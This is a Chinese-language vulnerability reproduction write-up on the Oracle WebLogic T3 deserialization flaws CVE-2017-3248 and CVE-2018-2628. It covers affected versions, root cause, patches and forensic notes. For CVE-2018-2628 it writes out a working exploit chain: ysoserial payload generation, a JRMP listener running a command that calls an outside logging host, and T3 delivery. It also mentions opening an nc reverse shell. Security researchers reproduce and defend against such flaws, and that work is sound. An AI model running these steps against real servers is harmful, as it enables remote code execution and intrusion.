CVE-2017-3248
漏洞利用前提
- 影响版本
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.0
WebLogic 12.2.1.1
原理简析
这个漏洞的产生是因为绕过了cve-2015-4852的补丁,该补丁中采用黑名单的方式过滤危险的反序列化类,但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击
漏洞利用方法
与cve-2018-2628一致,因为cve-2018-2628就是绕过了cve-2017-3248的补丁而已,所以CVE-2018-2628可以利用的payload同样可以应用于本漏洞
修复方案
参考CVE-2018-2628
痕迹分析
同CVE-2018-2628
CVE-2018-2628
漏洞利用前提
-
版本
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0 -
配置
开启T3协议(默认为开启状态)
原理简析
这个洞产生原因是 weblogic 对于 T3 协议发送的数据包没有过滤,攻击者通过T3协议发送一段序列化后的恶意数据,这段数据经过weblogic反序列后生成的对象会请求攻击者的rmi服务端,加载恶意数据,再反序列化生成一个对象,利用反射机制导致命令执行。
说到这个漏洞就不得不提CVE-2017-3248,因为这个漏洞是绕过CVE-2017-3248的补丁而产生的,我们先来看看3248的补丁做了什么
由上图可见,补丁采用黑名单的方式在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。
绕过思路很简单,找另外一个可利用的RMI接口,这里使用java.rmi.activation.Activator来生成payload
漏洞利用方法
我们使用著名的ysoserial工具来进行复现
生成payload
java -jar /opt/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar payload 攻击者服务器ip:攻击者服务器监听的端口 > payload写入的文件
例:生成的payload写入文件axin
java -jar /opt/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 127.0.0.1:1099 > axin
注意:这里使用的是JRMPClient2,这个版本是使用的java.rmi.activation.Activator来生成payload,除此之外ysoserial中还有一个JRMPClient,这个版本则是使用的java.rmi.registry.Registry生成payload
攻击者服务器上进行监听
java -cp ysoserial-0.6-SNAPSHOT-BETA-all.jar exploit 监听端口 使用的类 需要执行的命令
例:java -cp ysoserial-0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "ping 123333.3w9vbg.ceye.io"
发送payload到目标主机
这里需要用到一个利用T3协议发送数据的脚本
python weblogic.py 目标主机 目标端口 payload文件
例:python weblogic.py 127.0.0.1 7001 axin
如果利用成功可以在ceye.io平台上看到相应的DNS解析记录,这也就说明了命令成功执行了。
监听端,收到来自目标机的请求
ceye平台有相应dns解析记录
至此漏洞复现完成,当然还可以尝试执行其他命令,例如在特定场景下利用nc反弹一个shell等
修复方案
- 打补丁
- 禁用T3协议
连接筛选器填:weblogic.security.net.ConnectionFilterImpl
筛选规则填取:* * 7001 deny t3 t3s (根据需要修改)
重启生效。
痕迹分析
该漏洞直接利用t3协议触发,在日志中不会有记录,所以很难排查痕迹